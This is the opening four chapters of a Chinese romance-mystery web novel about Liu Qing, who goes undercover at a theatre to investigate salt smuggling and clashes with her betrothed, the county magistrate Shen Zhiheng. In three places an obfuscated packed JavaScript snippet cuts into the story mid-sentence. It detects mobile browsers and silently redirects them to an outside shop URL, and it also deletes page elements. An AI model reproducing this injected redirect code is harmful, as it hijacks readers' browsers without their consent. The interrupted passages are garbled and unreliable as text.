《县令夫人为何这样》 1. 第 1 章 戏台上锣鼓喧天，台下人声鼎沸，叫好声此起彼伏。 柳清双手提着四桶水，健步如飞，在后台逼仄的过道间来去自如。 她利落地将两桶水倒入大木桶中，水花四溅，打湿了衣角也浑不在意。 “阿柳，今儿个是第几趟了？”身旁一位头扎彩巾的年轻小哥打趣道，“你这力气，怕是十个男子也比不上啊！” 柳清淡淡一笑，眉眼间尽是爽朗，“这不是怕误了你们今晚的演出嘛。” 年轻小哥摇着头离开，一个娇俏的小姑娘从里间探出头来，“主子，你可算来了。” 正是和柳清一起来当卧底的丫鬟，小镜子。 柳清把水桶“咚”的一声放下，甩了甩发麻的手臂，问：“怎么样，打听到什么消息了吗？” 小镜子挨近柳清，掩唇低声道：“我刚听刘老板的宝贝儿子说，咱们要找的接头人，已经到戏楼里了！此刻正坐在前堂，听闻是位翩翩公子，着一袭月白长衫，腰间还配了块羊脂玉佩……” 柳清心中一凛，暗道：终于来了！ 自从父亲被奸人所害，她化名阿柳躲到这鱼龙混杂的清风戏楼，苦苦等了数月，为的就是找到给戏楼提供私盐的“接头人”。 “年轻公子，月白色长衫，羊脂玉佩……”柳清反复念叨着这几个特征，在脑海中构建出模糊的人影。 小镜子还在絮絮叨叨说着打探来的消息，柳清却已听得心不在焉，满心满眼皆是那即将露面的接头人，恨不得即刻便冲到跟前去瞧个真切。 “你们两个小蹄子，又在偷什么懒！还不赶紧去前堂招呼客人，要是怠慢了贵客，看我怎么收拾你们！”一个肥头大耳的男人突然出现在两人身后，粗声粗气地吼道。 来人是戏楼老板刘一手，出了名的吝啬鬼，平日里没少克扣她们这些下人的工钱。 参与贩卖私盐的，就是他。 小镜子吓得一哆嗦，连忙拉着柳清往外走，“知道了刘老板，我们这就去。” 柳清心中虽有不快，但眼下还有更重要的事，只得暂且压下，随着小镜子来了戏楼前堂。 前堂里人头攒动，各色人等都有。 柳清按照小镜子提供的线索，仔细搜寻着接头人的身影。 突然，一个坐在角落里的俊朗公子引起了她的注意。 那公子一身月白色长衫，腰间佩着一块温润的玉佩，手里拿着一把折扇，正探头探脑地四处张望，像是在寻什么人。 难道是他？ 柳清心中一动，不动声色走到那公子身边，压低声音说出了接头暗号：“公子可是喜爱听戏？小女子这儿有一出鸳鸯戏水，不知公子可愿赏脸共听？” 那公子闻声缓缓侧过脸，目光触及柳清时，一双星目中似有精光闪过，须臾间便恢复如常。 “鸳鸯戏水？听起来倒是风雅有趣。”公子微微一笑，意味深长道，“只是不知姑娘这出戏，是想在哪儿唱啊？” 嗯？柳清一愣。 怎么跟接头暗号不一样？ 年轻公子，月白色长衫，羊脂玉佩，和小镜子说的一模一样啊！ 沈之衡见她这呆头呆脑的模样，不禁莞尔。 但随即压下嘴角，从袖中摸出一块令牌，在柳清面前晃了晃，“要不跟我去县衙里唱？” 柳清望着那令牌，顿时如遭雷击。 只因那令牌上，一只麒麟栩栩如生，口中衔着一块牌匾，上书“奉旨县令”四个大字。 这麒麟令牌，唯有当今天子钦点的父母官才配拥有，而眼前这位翩翩公子，竟是新上任的清河县县令——沈之衡！ 柳清急忙回过神来，扯出一抹比哭还难看的笑，“小女子认错人了，打扰大人雅兴，还望大人恕罪。” 沈之衡收起折扇，饶有兴致地打量着眼前这个小丫鬟。 她虽穿着粗布麻衣，却难掩清丽容颜，一双水汪汪的大眼睛透着一股子机灵劲儿。 沈之衡漫不经心地用折扇敲着手心：“我听说，这清河县最近不太平，私盐贩子猖獗，姑娘穿着粗使丫头的衣服，却要给我唱鸳鸯戏水，莫非是有什么不可告人的秘密？” 柳清心中咯噔一下，暗道不好。 这沈之衡看着年轻，心思倒是缜密得很，这才几句话的功夫，竟像是要瞧出端倪来了。 “沈大人误会了，小的只是……” “只是什么？只是来这戏楼里唱艳曲，猎情郎吗？” 明明是温润如玉的语气，从沈之衡口中说出，却莫名带着几分压迫感。 柳清额头冒出一层冷汗，眼珠一转，索性把心一横，换上一副娇媚语气：“大人真是慧眼如炬，小女子这点小心思，哪里逃得过大人的法眼。只是这戏楼人多眼杂，不如……” 柳清说着，大胆地伸手挑起沈之衡的下巴，却被沈之衡眼疾手快地抓住手腕。 “哦？看来姑娘是想选个清净地儿了？” 沈之衡作势就要起身，柳清却慌了神。 她本想着县太爷身为清河县的父母官，应该更注重体面才是，断不会随意与戏楼女子纠缠，谁知竟是个如此轻浮放荡之人！ 柳清骑虎难下，眼看着周围看客的目光都被吸引过来，只得硬着头皮继续演下去：“大人莫急，这好戏，自然是要等天黑了，在房里慢慢唱，才有意思嘛。” 柳清本意是想先稳住沈之衡，再找机会脱身。 哪成想，她话音刚落，沈之衡却像是变了个人似的，原本戏谑的笑意尽数褪去，眼神也骤然变得凌厉。 柳清看得心里直发怵，随即听到他说：“等？可等不及了，现在就跟我走！” 沈之衡说完，不由分说抓起柳清就走，留下一众目瞪口呆看热闹的客人。 “哎哟，这沈大人看着斯斯文文的，玩起来还挺野啊！” “可不是嘛，这小丫鬟怕是要遭殃咯！” 人群中议论纷纷，却没人敢上前阻拦，毕竟，这可是新来的县太爷，谁敢得罪？ 柳清被沈之衡一路拽着，只觉得手腕处火辣辣的疼，心中又羞又恼，又不敢太大力挣扎，生怕惹恼了县太爷。 “沈大人这是何意？光天化日之下，强抢民女不成？” 沈之衡停下脚步，手中又加了几分力，生怕人跑了，“强抢民女？这罪名可不敢当。本官只觉得姑娘形迹可疑，想请姑娘去县衙一叙罢了。” “我有什么可疑的？沈大人莫要信口雌黄！”柳清有苦说不出。 早知道就应该多观察观察再对暗号，这下好了，搞不好还要吃牢饭。 沈之衡不理会她的狡辩，拉着她径直走向停在路边的马车。 车厢逼仄，檀香幽淡，与沈之衡身上皂荚的清爽之气混在一起，说不上难闻，却令柳清更加局促不安。 她低眉顺眼地缩在车厢一角，心想要不干脆跳车逃跑吧，料想这种读了十几年书的文官应该追不上她。 不过按照大盈律法，冲撞了父母官是个什么罪名来着？ “大人此举，究竟是何用意？难不成真想轻薄民女？”柳清拢了拢身上洗得发白的粗布衣裳，目光警惕。 她可是好人家的女孩子，只是来这戏楼卧底查案罢了，犯不着把身体搭上。 沈之衡不答反问：“你叫什么名字？” “与大人无关。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572335|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你娘知道你在戏楼卖唱吗？” “与大人无关。另外，我不是卖唱的，就是个粗使丫头而已，大人怕是抓错人了。” “呵，”沈之衡轻笑一声，“嘴还挺硬。” 马车外，来来往往的商贩都好奇地往里看。 “哎，你们看，那不是新来的沈大人吗？” “可不是嘛，旁边那姑娘是谁啊？” “你看那姑娘，一脸的不情愿，像是被强迫的。”一卖菜大婶压低了声音道，“我听说啊，这沈大人看着斯斯文文的，其实私底下可风流了，说不定……” “嘘！小声点，别让人听见了！”旁边的小贩连忙制止她，“这可是县太爷，咱们可得罪不起。” 柳清听得真切，心中早已把沈之衡骂了个狗血淋头。 什么狗屁县太爷，这不明摆着毁她清誉吗？ “沈大人，没什么事我就下去了，刘老板寻不见我人，是要扣工钱的。”柳清防备地抓紧车门帘子，随时准备跳车。 沈之衡没回答，目光放在她身上，沉思片刻后才说：“本官怀疑你和最近城里的私盐贩卖案有关，你还有什么要说的吗？” 柳清摇头否认，“欲加之罪，我不过是个戏班的丫鬟，哪里来的本事贩卖私盐？” “有没有本事，搜过才知道。”沈之衡突然前倾身子，一只手伸到柳清身后。 柳清以为这人要抱自己，心中一惊，下意识就往前推，正好打在沈之衡胸口上。 若是寻常女子做此动作，怕是会激起歹人的征服欲。 可柳清自幼习武，天生力气极大，这一推竟将沈之衡推得向后倒去，“咚”的一声撞到车厢壁上。 沈之衡当即闷咳几声，似是被打得不轻。 与此同时，身后的门帘被人从外面撩开，一小厮冲车内道：“大人，东西拿过来了。” 一个包袱被递了进来，沈之衡一边咳，一边伸手接东西，还不忘瞪柳清一眼。 哦……原来是要拿东西…… 柳清顿时有些心虚，搓着手嘟囔着：“我不是故意的，谁让你突然靠那么近……不过，这好像是我的包袱吧？” 沈之衡没搭理她，手指灵活地解开包袱系带，里面是女子的换洗衣物和几封信笺。 他随手拿起一封信，展开细看，眉心却渐渐拢起。 信笺上的字迹娟秀工整，内容却与风月无关，皆是关于城中各方势力和官员贪腐的记录。 他越看，脸色越凝重，原本漫不经心的态度也逐渐转为认真。 “这些都是何物？”沈之衡突然开口，目光却没从信上挪开。 “沈大人不是都看到了吗？不过是一些朋友写给我的信罢了。” 柳清面上强装镇定，一只脚却已经探出车门外，就等着找个机会溜之大吉。 “朋友？”沈之衡抬眼看向柳清，“姑娘的朋友还真不少，连这清河县最大的盐商都有书信往来。” 柳清一时语塞，不知该如何解释。 她父亲因调查私盐案被杀害，这些信，是她为了查明真相，卧底戏班接近各色人等，费尽心思才得到的。 只是，这些事，她不能告诉沈之衡，至少现在不能。 沈之衡是敌是友，她现在还无法判断，如果贸然暴露身份，恐怕会打草惊蛇，甚至给自己惹来杀身之祸。 “罢了，既然姑娘不愿配合，那本官也不便强求。”沈之衡见她不说话，把信挑出来没收，包袱扎好还给柳清。 “夜已深了，早些回去休息吧，只是……”他敛了神色，语气中带着警告之意，“还望姑娘以后注意行为检点，莫要再做引人误会之事。” 2. 第 2 章 戏楼后台，小镜子急得像热锅上的蚂蚁。 “我的姑奶奶，您可算回来了！”见柳清回来，小镜子忙不迭迎上去，眉头紧锁，语气焦急，“接头人听了会儿戏，已经走了！” 柳清揉了揉太阳穴，无力地挥挥手，“走就走吧，只怪我自己今晚撞了煞星。” “煞星？什么煞星？”小镜子一头雾水。 “还能是谁，新来的那个县太爷呗！”柳清没好气道。 “啊？”小镜子惊呼一声，杏眼圆睁，“和您私会的是沈大人？” “什么私会，别乱说！”柳清瞪了小镜子一眼，顺手抄起桌上茶壶，就着壶嘴咕咚咕咚灌了半壶。 “您别解释了，我都看见了！”小镜子指着她被沈之衡握过的手腕说，“沈大人拉着您的手，还把您带走了，这孤男寡女的，说出去谁信您是清白的啊？” 两人正针对私会一事唇枪舌战，忽闻一阵杂乱的脚步声由远及近，接着戏楼的门被粗暴踹开，一群官差打扮的人涌了进来。 为首的捕快手持令牌，高声喝道：“奉县太爷之命，前来捉拿要犯！无关人等，速速退避！” …… 戏楼后门，昏暗的油灯摇曳不定，映照出柳清和小镜子脸上的不安。 就在刚刚，衙门来人把戏楼里里外外搜了一遍，抓了不少人回去。 “这县太爷，看着文绉绉的，下手可真够狠！”小镜子气得直跺脚，“把刘老板抓走不说，还把戏楼翻了个底朝天，咱们苦心经营了这么久的人脉全泡汤了！” 柳清没说话，只眉头紧锁，纤细的手指一下一下敲着门板。 这沈之衡的行事作风，着实出乎柳清的意料。 她原以为，沈之衡初来乍到，就算对她身份存疑，也会先按兵不动，暗中查探一番，哪想到他会如此雷厉风行，直接对戏楼下手。 “看来，是我们小觑沈大人了，”柳清终于开口，“他既敢如此行事，手中定然握有些许线索，需得谨慎应对才是。” 小镜子：“那我们现在怎么办？刘老板被抓了，戏楼这条线就断了，我们还没搭上供货的上家呢。” 柳清眼中寒光一闪：“别担心，刘老板只是被抓了，又不是死了，我现在去牢里问他，看看能不能问出什么。” 小镜子面露难色：“姑奶奶，这牢房可不是想去就能去的，更何况现在天色已晚，我们怎么进得去啊？” “这你就不用担心了，山人自有妙计。” 柳清邪魅一笑，露出胜券在握的神态，演得小镜子直撇嘴。 是夜，县衙内灯火通明，衙役们行色匆匆，气氛与往日截然不同。 书房中，沈之衡端坐于桌案前，手中账册正是从戏楼搜缴而来，他正逐页翻看。 “大人，这是清查出的私盐贩子名单。”师爷将一叠纸放到沈之衡面前，恭敬道，“根据账本记载，这些人和清河盐号来往密切，其中还有不少是城中的达官贵人。” 沈之衡修长的手指在账本上轻轻一敲，另一只手拿起戏楼名册，将名册上的人名与账本上的名字一一比对。 突然，手指在一处停顿了一下，那里赫然写着“阿柳”两个字。 “柳清？”沈之衡轻念一声，抬手把这个名字用朱笔划掉。 “大人，这是何意？”师爷不解。 “你别管了，我自有打算，这位叫阿柳的姑娘，现在何处？”沈之衡放下名单，抬手按了按眉心。 “阿柳姑娘已经被关进大牢了，可是要提审……” “什么？”沈之衡猛地站起身，椅子被带倒在地，发出“砰”的一声闷响，“谁让你们抓她的？” 师爷被突如其来的怒气吓了一跳，战战兢兢道：“是、是阿柳姑娘自己说，说戏楼老板待她不薄，她要和戏楼老板同生共死，衙役们就把她和戏楼老板关在一起了……” “糊涂！”沈之衡怒斥一声，抬脚就往外走，“还不快带我去！” 师爷从未见过沈之衡如此失态，也不敢多言，忙提着灯笼快步跟上去，心中暗暗叫苦，这阿柳姑娘到底是什么人，竟然能让一向冷静自持的沈大人如此失态？ 潮湿阴暗的大牢里，霉腐气息混杂着淡淡血腥味，令人作呕。 柳清靠墙而坐，双手被粗糙的麻绳绑着，但她神色镇定，丝毫没有身陷囹圄的慌张。 与之形成对比的，是哭哭啼啼的油腻胖子——刘老板。 刘老板有个引以为傲的傻儿子，侥幸没被抓进来，柳清以那傻儿子的安危为筹码，问到了自己想要的答案。 三天后，清河码头将有一条载着私盐的货船靠岸，到时候接头人会亲自去验货。 只要柳清埋伏在码头附近，不愁搭不上供货人这条线。 眼下，柳清身上又没犯事，只要等明天天亮就能被放出去了，至于母亲那边，小镜子自会应付。 “吱呀——” 牢门打开，刺眼的火光照进来，沈之衡面色阴沉，步履匆匆，身后跟着战战兢兢的师爷。 柳清抬眸一扫，又低下头去，片刻后，眼前出现一双黑底皂靴。 沈之衡走近前来，蹲下，抬手扣住柳清手腕仔细查看。 “你……”柳清还没反应过来，就感觉手腕一松，那原本紧紧束缚着她的麻绳，竟被解开。 得了自由，柳清却并未立即动作，只不动声色向后一撤，与沈之衡拉开距离，而后才抬起眼，语带防备：“沈大人此举何意？” 沈之衡面色不善，似是有些生气，“你可知这是什么地方，是牢房！是关押犯人的地方！岂能容你随意胡闹！” 柳清没想到对方会是如此反应，顿了一下后，把早已准备好的说辞搬出来：“大人明察，戏楼被封，民女无处容身，这牢房虽非善地，却也遮风挡雨，总好过流落街头。” 柳清说着，做出从戏楼学来的扭捏姿态，眼角余光却偷偷观察沈之衡的神色。 沈之衡眉头拧得更紧。 一旁站着的师爷见状，忙上前打圆场：“阿柳姑娘，大人也是担心你的安危，这大牢阴暗潮湿，哪是你一个姑娘家该待的地方？大人已经备好了马车，这就送你回去。” 沈之衡这人，柳清信不过，说不定出了这牢门，转眼就进虎穴。 柳清眼珠一转，指向身旁瑟瑟发抖的刘老板，“大人有所不知，民女与刘老板情同父女，如今他锒铛入狱，民女实在不忍心抛下他独自离去。” 从刚才起就止了哭开始看戏的刘老板：阿巴阿巴？我们很熟吗？ “胡闹！”沈之衡额角青筋暴起，隐忍的怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572336|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气几乎要化为实质，他不再理会柳清的胡搅蛮缠，不由分说一把拽住柳清的胳膊，几乎是将她拖出了牢房。 “诶？诶？诶？诶？” 柳清就这样被半拉半拽地带出县衙，外面早已备好马车，车夫看两人出来，连忙恭敬地掀开车帘。 柳清：“沈大人，我自己……” 沈之衡不听，把人塞进马车，随后自己也坐了进去。 柳清：“沈大人，不必……” 沈之衡掀开门帘探出头去，和驾车的马夫说了什么。 柳清：“沈大人，这是……” “坐好！”沈之衡周身气压极低，修长的双腿被车厢的阴影遮挡，只余下冷硬分明的下颌线。 柳清识趣地闭了嘴。 马车一路颠簸，朝着与戏楼相反的方向驶去。 柳清心中不安，悄悄伸手撩起车帘一角，向外望去。 熟悉的街道、店铺在她眼前一一闪过，这分明是回自己家的路！ 她心下骇然，难道沈之衡调查过自己？ 她在戏楼分明是隐姓埋名了的，沈之衡是如何得知她真实身份的？ 不多时，马车停稳，沈之衡率先下车，转身准备去扶柳清。 柳清一个立定跳远蹦下来，脚下扬起一阵尘土。 沈之衡已平复好情绪，又恢复了往日的沉稳模样：“时候不早了，快些回去，省得你娘担心。” 说罢，他看向柳清身后那扇破败的院门上，微微皱了皱眉，“此处宅院太过简陋，怕是住着不甚舒适，我会尽快为你们另寻一处宽敞些的住处。” 柳清心中顿时警铃大作。 沈之衡为何对自己如此上心？难不成是想……养她为外室？！ 还是举家包养的那种？ 这歹人果然居心叵测！ 不行！她堂堂县令之女，就算家道中落，也不能自甘堕落！ “沈大人，不必麻烦了。”柳清连忙后退一步，划清界限之意明显，“民女已经和城东铁匠铺的张家老爷私定终身，过些日子便要成亲了。” 沈之衡面色一僵，语气骤然冰冷：“你说什么？” 柳清缩了下脖子，料想沈大县令身居高位，应该从未被人拒绝过，此刻心中定是怒火中烧，说不定下一秒就会拔刀相向。 但柳清还是硬着头皮道：“我、我和张家老爷两情相悦，沈大人身份尊贵，还请高抬贵手，成全我们！” 说着，她还从袖中掏出一块帕子，假意抹了抹眼角并不存在的泪。 只是这番做作落在沈之衡眼里，却显得格外刺眼。 沈之衡只觉一股无名火直冲脑门，他强压着怒气，冷笑道：“是吗？城东铁匠铺的老张是个鳏夫，年过四十，儿子都十岁了，柳姑娘，你要嫁过去给人续弦吗？” “我……”柳清被问得一哽。 早知道就编个靠谱点的谎话了，失策。 “既然你与那张家老爷两情相悦，那我倒要问问，你为何会出现在龙蛇混杂的戏楼中？你一个待嫁闺秀，不在家绣嫁衣，跑到那种地方去做什么？”沈之衡步步紧逼，目光犀利。 “我、我们贫苦人家，赚些银钱度日，有何不可？莫非大人身居高位久了，已体察不到我等小民的难处了？”柳清也不甘示弱。 3. 第 3 章 沈之衡自诩冷静自持，从未想过自己竟会被人三言两语就激怒。 他闭了闭眼，胸膛剧烈起伏，再开口时，语气已平静许多，“柳姑娘，你若真有难处，不妨直说，我沈之衡也不是冷血无情之人，若是你需要银两，我自当尽力相助。” 柳清实在不知沈之衡为何对自己如此执着，心中疑惑更甚。 索性还是继续装傻充愣，“沈大人说笑了，小女子不过一介平民，哪敢劳烦大人破费？况且，民女既已许配他人，还请大人莫要再管民女的闲事，平白惹人非议。” 沈之衡见她油盐不进，脸色一沉，“既如此，那便当在下唐突了！不知姑娘需要什么条件，才肯解除与那鳏夫的婚约？” 柳清被他一再逼问，眼珠一转，计上心来。 她装出一副为难的样子，咬了咬嘴唇，低声道：“既然沈大人问起，那民女就冒昧直言了。实不相瞒，我与母亲相依为命多年，如今她老人家身体每况愈下，我实在放心不下……” 她说到此处，故意顿了一下，偷偷观察沈之衡的反应，只见他眉头微皱，果然上钩了。 “我母亲身子骨弱，一到下雨天就腰腿酸痛。我原想着，多攒些银两，为母亲在城里置办一处像样的宅院，再请几个丫鬟仆役，让她老人家安享晚年。只是……” 柳清说着说着，声音哽咽，眼眶微微泛红，一副泫然欲泣的模样。 沈之衡最见不得女子落泪，更何况是柳清这般我见犹怜的女子。 他虽然出身官宦之家，但也并非不谙世事，这年头，孤儿寡母想要在世上立足，确实不易。 “你需要多少银两？”沈之衡问道，语气已不自觉软了下来。 柳清心中暗喜，面上却不动声色，她伸出手指，细声细气道：“七进七出的院子，怎么也得要个千两银子，再添置些家具摆设，还得千两。请丫鬟仆役，一年也得千两银子，还有我那可怜的母亲，常年卧病在床，还得请大夫抓药，又是一笔不小的开销……” “还有……”柳清顿了顿，似是难以启齿，“我那远房表弟，自幼父母双亡，尚未娶妻生子，我这个做姐姐的，总得为他置办些家业……” “打住！”沈之衡听她越说越离谱，忍不住出声打断，“你说的这些，一个打铁的鳏夫能赚得出？” 柳清故作委屈地瘪了瘪嘴，“赚不赚得出，总要试一试，梦想还是要有的……” 沈之衡家世代做官，父亲在京城任知府一职，一年的俸禄也不过百两银子，住的是三进的院子。 而七进七出的院子，那是王爷的待遇。 清河县只是个小小县城，在此地买七进的院子，要是被京城的知道了，怕不是会落个杀头的罪名。 “你……”沈之衡指着柳清，你了半天，却说不出话来。 他算是看清了，柳清这丫头满嘴跑马车，压根就是耍他玩儿呢！ 柳清见他吃瘪，心中暗自得意，试探道：“沈大人，您看，要不您还是别把心思往民女身上打了，我那未来夫君是个踏实肯干的，定能让我过上好日子，就不劳您费心了。” “冥顽不灵！”沈之衡气极，干脆不与她争论，转身上了马车，走了。 车轮卷起尘土，柳清扇了扇鼻子，抬手推开自家院门。 小镜子老早就守在门口，偷听了大半，见柳清进来，忙迎上去，“主子，那可是县太爷，您这么说真的没问题吗？” 柳清把食指放在唇边，示意她小声点，“怕什么，我心里有数。” 她抬头点了下东厢房，“我娘睡了？” “睡了，我换上您的衣裳踹了院门好几脚，夫人以为您回来了，就睡了。”小镜子回。 柳清回头看了眼形同虚设的院门，和地上断裂的门板碎片，点点头，“做得好。” 回到房间，柳清提笔蘸墨，略作沉吟，飞快写下一封信，递给小镜子，“明日你亲自走一趟，把这封信送到黑狼山下的驿站，交给老鹰。” 小镜子接过信，面露难色，“主子，这新来的县令大人看起来不好对付，咱们与黑狼山交往过密，会不会……” 柳清轻拍她手背，示意她安心，“莫怕，黑狼寨不是那么好剿的，我爹都没做成的事，他初来乍到，还能一手遮天不成？” 第二日，柳清睡到日上三竿才醒来。 往日她天不亮就得去戏楼帮工，如今戏楼被封，她正好得空休息一下。 院中隐约传来交谈的声音，柳清挠了挠凌乱的头发，张口就叫：“小镜子。” 小镜子闻声端着水盆进来，面色却有些古怪。 “怎的了？大早上……呃，大中午的？”柳清一边漱口，一边含糊不清地问，“外头谁在说话？” 小镜子支吾着：“是……您还是自己出去看看吧，奴婢不敢说。” 柳清带着满腹疑问，随手披了件外衣便走出房门。 踏入院中，她顿时愣在原地。 “小姐，您可算起了！就等您呢！”一个虎背熊腰的壮汉迎上来。 这人叫张铁牛，是柳清父亲生前的侍卫，为人忠厚老实，武功高强。 自从父亲去世后，他就一直守在柳清母女身边，对柳清更是言听计从。 而他，正是昨夜柳清口中，和她情投意合的铁匠铺张家老爷。 张铁牛憨憨一笑，“今早县太爷亲自来俺家找俺，说是商量什么……退婚事由，俺寻思这其中定是有什么误会，就引着县太爷来寻小姐和夫人了。” 柳清顺着张铁牛的手看去，院当中，和她娘相谈甚欢的，不是那煞星还能是谁。 这人到底怎么回事？ “你怎么又来了？”柳清脱口而出。 最近十二个时辰里，她见了这人三面，属实有些厌烦了。 “清儿，怎么跟沈大人说话呢？还不快向沈大人道歉！”柳母责备道。 柳清不乐意地福了福身，转而站在母亲身边，“娘，您不是腿疼吗？怎的出来了？” “娘没事，贵客临门，总得相迎不是。”柳母说着，慈爱地拍了拍柳清的手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572337|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即转头看向沈之衡，脸上堆满了笑，“之衡啊，你别怪清儿，这孩子从小被我惯坏了，说话做事总是没大没小的。” 柳清听得此言，满头问号。 母亲什么时候和沈之衡这般熟稔了？ 沈之衡不过是县令，母亲应该不至于看他脸色吧？ “伯母言重了，清儿她……天真烂漫，活泼可爱，孩儿很喜欢。”沈之衡说着，看向柳清的眼神竟充满了……宠溺？ 柳清顿时起了一身鸡皮疙瘩，沈之衡这唱的是哪一出？ “时候不早了，之衡若是不嫌弃，就在这儿用午膳吧。”柳母热情邀请。 “那就叨扰伯母了。”沈之衡也不推辞，欣然答应。 趁沈之衡和张铁牛说话的工夫，柳清将母亲拉到一旁，低声问道：“娘，您和沈之衡很熟吗？” 柳母闻言，神秘一笑，“傻孩子，你还不知道吧？之衡他……就是你指腹为婚的未婚夫啊！” “什么？！”柳清只觉得天旋地转，眼前一黑，差点晕过去。 她一把抓住桌角，这才稳住身形，难以置信地望着母亲，仿佛第一次认识她一般。 “娘，您……您说什么胡话呢？”柳清的声音都变了调。 指腹为婚这种事，她只在戏文里听过，没想到竟然会发生在自己身上。 况且，从小到大也没人跟她说过这事啊？也太突然了吧？ “娘什么时候骗过你？”柳母嗔怪地看了她一眼，从怀中掏出一块玉佩，“这块玉佩，就是当年你爹和你沈伯父定下婚约的信物，你且好好收着。” 柳清接过玉佩，只觉得入手温润，一看便知是块上好的羊脂白玉。 这玉佩她在沈之衡身上见过，就是因为这块玉佩，她才把沈之衡错认成接头人，也就有了后来这一大堆糟心事。 这是不祥之物！ 柳清只觉得这玉佩烫手，恨不得立刻扔出去。 “娘，这婚事……女儿不答应！”她把玉佩塞回母亲手里，语气坚决。 “清儿，你听娘的话，别再查你爹的案子了，安心跟着之衡过日子吧。”柳母说着，给柳清顺了顺头发，眼中难掩担心，“之衡从小就端方正直，是不可多得的良配，更别说时隔多年，沈家不计较咱家落败，还记着这婚事，足见其心诚。” “娘……”柳清还想再说什么，却被柳母打断。 “好了好了，此事便这般定下了，你也老大不小了，寻门好亲事才是正经。”柳母不容置喙，将女儿往沈之衡身边推了推，“之衡啊，清儿就托付给你了，你可要好生待她！” 沈之衡顺手扶住靠过来的人，清润的面庞当即扬起笑意，“伯母放心，孩儿定会好好照顾清儿的。” 他偏头看来，目光灼灼，语气温柔缱绻。 柳清顿时毛骨悚然。 登徒子！ 柳清才不惯着他，当即一招神龙摆尾，沈之衡空中转体三百六十度，直挺挺躺在了地上。 经此一役，柳清倒是想起了些儿时的事。 4. 第 4 章 午膳摆满了柳家小厨房的拿手菜，道道精致。 柳清记忆中，家中已许久未曾这般丰盛，自父亲去世后，只靠着些许积蓄和张铁牛的铁匠铺维持生计，日子节省得很。 只是而今她心乱如麻，食不知味。 反观沈之衡，吃得津津有味，偶尔还出言赞叹几句，惹得柳母喜笑颜开，直说往后沈之衡可要常来。 酒过三巡，菜过五味，柳母兴致颇高，便说起了往事：“我记得小时候，清儿可不是这样的。那时候，你总跟在之衡屁股后面跑，一口一个‘之衡哥哥’，要人家给你抓蝴蝶，编花环……” “胡说！”柳清脸颊瞬间涨得通红，“我才没有！” 柳母并未察觉她的不满，兀自沉浸在回忆中：“有一回啊，清儿把她爹刚种的一棵云柳树推倒，非要把之衡种坑里，还说这样就能快快长大，好娶她过门，哈哈……” 柳清羞愤欲死。 她不喜欢这个自说自话，给她捣乱的未婚夫。 若非此人阻挠，坏了她的大事，此刻她怕是已和盐帮牵上线，距离真相也更近一步了。 以往的沈之衡是何模样，她早抛之脑后，只隐约记得，儿时确实有个玩伴，模样白白净净，不过在父亲调任清河县令后，两家便断了音讯。 如今的沈之衡，在她眼里就是一个字——烦！ 沈之衡也记得那事，缓缓勾起唇角，应和道：“想当年，一个小丫头竟能把云柳连根拔起，着实把我吓了一跳，赶忙按她的吩咐去树坑里站着，生怕自己的脑袋也被拔下来，结果蹭得衣服上全是泥，被我娘好一顿骂……” “沈之衡！”柳清怒目圆睁，“你再说！” 她不敢和她娘叫板，但沈之衡，她现在可是很想揍他一顿！ 沈之衡恍若未见她眼中怒火，仍旧徐徐说道：“只是，清儿虽顽皮，却也心善。彼时我被母亲罚站，她便在旁吃着桂花糕陪我……” 柳清气得咬牙切齿：“这么多年过去，物是人非。如今我已长成了不爱吃桂花糕的黑心人，恐怕与沈大人的期望相去甚远，依我看，这指腹为婚的旧约，还是就此作废了罢，如何？” 话虽说得得体，但饭桌下，柳清正死死踩着沈之衡的脚趾，大有他要是不同意，就把他脚趾踩断的架势。 沈之衡吃痛，面色微变，笑意却不减反增，不动声色地夹了个鹌鹑蛋放入柳清碗中。 “清儿，我知道你心中尚有芥蒂。你且放心，岳父大人之事，我定会彻查到底，给你一个交代。” 他神色认真，语气诚恳，一派顶天立地的男子汉气概，若换了旁的姑娘，怕是会感动到垂泪。 但柳清不吃他这套，皮笑肉不笑地回：“不必了，父亲的仇，我自己会报，你管好自己就行了！” “清儿！”柳母见柳清这般态度，心下焦急，语气也重了几分，“之衡是你未婚夫，又是县令，他帮你查案，你还有什么不满意的！” 柳清把嘴一撇：“我可没答应嫁给他。” “你……”柳母气结，抚着胸口顺了半天气。 对柳母来说，沈家愿意履行婚约，是柳家的福分。 沈柳两家，虽说多年前是门当户对的世交，但这些年，沈之衡他爹在京城当了知府，而柳清的爹只在清河县混了个县令，还早早过世，两家的地位可谓是天差地别。 如今沈家不嫌弃她们，还愿意娶清儿过门，她自然是求之不得。 只是这孩子，也不知是怎么了，对之衡竟是这般抗拒的态度，真是好赖不懂。 